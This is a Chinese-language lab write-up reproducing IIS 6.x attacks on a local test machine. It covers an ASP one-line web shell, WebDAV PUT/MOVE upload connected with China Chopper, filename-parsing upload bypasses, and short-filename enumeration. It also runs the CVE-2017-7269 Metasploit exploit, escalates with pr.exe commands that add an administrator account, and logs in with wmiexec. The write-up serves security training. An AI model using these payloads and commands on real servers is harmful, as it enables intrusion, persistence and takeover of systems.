中间件安全之IIS6.x渗透
一、IIS6安装
IIS6
主机IP为192.168.112.143 (NAT模式)
1)安装应用程序组件
2)导入IIS6安装插件
IIS6
过于久远,安装时需要使用到插件,等待安装完成
注意:期间需要多次选择该文件夹下的文件,操作类似
3)打开IIS管理器
【创建、访问网站有些问题、后续补充】
4)创建网站文件,访问网站
写入如下内容用于测试
<!-- k.html -->
<center><h1>this is ASP hello</center><h1><%eval request("xigua")%>
二、IIS6.x漏洞原理和复现
1、写入漏洞
文件写入,getshell
0x01 概述
该漏洞的产生原因来源于服务器配置不当,服务器开启了WebDAV
的组件导致的可以扫描到当前的操作,具体操作其实是通过WebDAV
的OPTION
来查询是否支持PUT
操作。
WebDAV是什么?作用?
WebDAV是一个存储服务,是一种通信协议,开启了WebDAV可以使应用程序对Web Server直接进行读写操作,还支持文件的版本控制
前提条件:
IIS Server
在Web服务扩展中开启了WebDAV
- 网站属性开启了写入权限
- 匿名用户配置了写入权限
IIS WebDAV
相关参考:http://www.2cto.com/article/201307/228165.html
0x02 漏洞指纹
用put工具尝试
0x03 复现操作
1)设置WebDAV
组件为允许状态
2)开启网站写入属性
3)开启匿名访问用户写入权限
4)使用IIS PUT Scaner
扫描目标网站是否允许PUT
操作
填入相关信息,点击Scan
,回显YES
表示该网站允许PUT
操作
5)使用iiswriter
写入文件
选择PUT
操作,填写域名IP和请求文件等信息,提交数据包,回显如下表示写入成功
这里文件的内容:
<%eval request("xigua")%>
可以看到上传文件成功
再通过MOVE
操作将文件名改为shell.asp
改为shell.asp
就可以直接连接,如果直接上传asp文件很大概率会报错
6)网站访问该文件查看是否解析.asp
一般情况下网站会解析asp,但是由于这里是本地搭建,需要检查开启asp文件解析。在Web服务拓展中允许Active Server Page
访问页面,空白表示可以解析asp
7)使用菜刀进行连接
使用蚁剑连接不上,换了菜刀
填入相关信息
成功连上
0x04 参考
2、文件解析漏洞
文件上传绕过
0x01 概述
文件解析漏洞源于IIS6
和Windows
对同一文件名的不同解析。对于如下的文件名,Windows
会解释成jpg
文件,而IIS6
会忽略分号;
后面的字段,解析成asp
文件。
1.asp;.jpg
0x02 复现操作
这里演示两个文件,文件内容如下
#1.asp
<%=time()%>
#1.asp;.jpg
<%=time()%>
结果均返回了时间
实际上,只要在文件后面加上
;.aaa
(这里aaa为任意字符)都可以
此外还有三种默认类型会被解析成asp
,如下
.asa
.cer
.cdx
0x03 参考
https://www.cnblogs.com/hack747/p/12271048.html
http://www.2cto.com/article/201309/240797.html
https://www.cnblogs.com/milantgh/p/4347520.html
3、目录解析漏洞
文件上传绕过
前提:root目录下有/.asp
的目录,一般不存在
默认会将根目录下的*.asp/
目录下的文件当作asp
文件解析
4、短文件名漏洞
目录爆破
0x01 概述
短文件名
是针对过长的文件名设计的,当文件名具有如下特征之一时,就拥有其短文件名
- 文件或目录名的主体部分(点前面部分)大于8字节(八个字符,英文算一个,中文算两个)
- 文件或目录扩展名(点后面部分)大于3个字节
在cmd命令行
中可以使用dir /x
查看短文件名信息
更多参考:
https://www.jb51.net/article/166405.htm
https://bwshen.blog.csdn.net/article/details/88031228
此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息
0x02 漏洞指纹
直接用自动化工具跑吧
0x03 复现操作
Ⅰ. 手动操作
1)检测是否存在IIS
短文件名漏洞
当访问某个存在的短文件名时,返回404
http://192.168.112.143/X*~1*/.aspx
不存在则返回Bad Request
Ⅱ. 自动化操作
2)脚本遍历短文件名
使用IIS-ShortName-Scanner
工具进行目录爆破
下载地址:https://github.com/irsdl/IIS-ShortName-Scanner
工具所需环境:python2.7
和JAVA7
- 环境配置好后,打开
run.bat
-
设置目标网址URL
http://192.168.112.143
- 跑出结果
和上面的dir /x
显示的信息可以看出,含有中文的短文件名跑不出来
5、IIS6.x栈溢出漏洞(CVE-2017-7269)
0x01 概述
CVE-2017-7269
是IIS 6.0
中存在的一个栈溢出漏洞,在IIS6.0
处理PROPFIND
指令的时候,由于对url
的长度没有进行有效的长度控制和检查,导致执行memcpy
对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。
利用条件:
需要目标机器上开启WebDAV
使用工具:
msf
插件:CVE_2017_7269.rb
下载地址:https://github.com/zcgonvh/cve-2017-7269- 路径长度检测工具:
IIS6_WebDAV_Scanner
下载地址:https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner
相关文章:
深入分析NSA用了5年的IIS漏洞 (seebug.org)
CVE-2017-7269 IIS6.0远程代码执行漏洞分析及Exploit (seebug.org)
0x02 复现操作
1)先装入msf
脚本
将CVE_2017_7269.rb
文件复制到指定文件夹下
2)启动msf
,使用该脚本,设置信息,执行
use exploit/windows/iis/cve_2017_7269
show options
set rhosts 192.168.112.143
exploit
成功得到会话session
【这里有可能执行不成功】
3)上传pr.exe
脚本进行提权
默认得到的权限为nt authority
etwork service
,是个低权用户,使用pr.exe
进行提权
这里在C盘提前创建了个
x1gua
文件夹
meterpreter > upload '/home/kali/Desktop/pr.exe' c:\x1gua
pr.exe "net user xigua 123456 /add"
pr.exe "net localgroup administrators xigua /add"
这里看到已经成功创建xigua
用户,并已加进Administrators
权限组
4)使用wmiexec.exe
进行连接
wmiexec.exe xigua:123456@192.168.112.143
ps:工具上传、IIS6介绍、前记
6、工具下载
链接:https://pan.baidu.com/s/1CkAe1TebKLk6kzhRozxw4g
提取码:0cdf